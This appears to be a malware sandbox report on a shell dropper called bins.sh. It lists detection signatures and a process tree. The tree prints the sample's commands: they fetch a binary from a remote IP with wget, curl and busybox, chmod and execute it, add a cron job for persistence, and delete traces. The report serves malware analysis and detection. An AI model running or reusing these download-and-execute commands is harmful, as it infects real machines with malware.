Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    15/11/2024, 10:48

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241115-mv35batajq
  • SHA256 d508d06fc665b8cfe1800616aa1d486452c1994c7c6b29367d4236580d7dd3e9
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2119) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1510
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1511
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Writes file to tmp directory
          PID:1512
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /bin/chmod
          chmod 777 3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • File and Directory Permissions Modification
          PID:1519
        • /tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          ./3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1520
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1522
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1523
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1524
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1525
              • /bin/rm
                rm 3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
                2⤵
                  PID:1527
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/EaoRmBptQz2G3W8CKv3iqnDZ8REO5RZmQ7
                  2⤵
                    PID:1530

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
                      • Path /tmp/3FxlgPNp5anufMxJFBnEnexcv2bi3ALp2W
                      • Size 99KB
                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.KWI4ct
                      • Path /var/spool/cron/crontabs/tmp.KWI4ct
                      • Size 210B
                      • SHA256 3ae8807ab55c1ea6e41e09d5ad1b464cfc9bb0d1fe47e91828366345120d350b
                      • MD5 SHA1 SHA512
                      Submit Download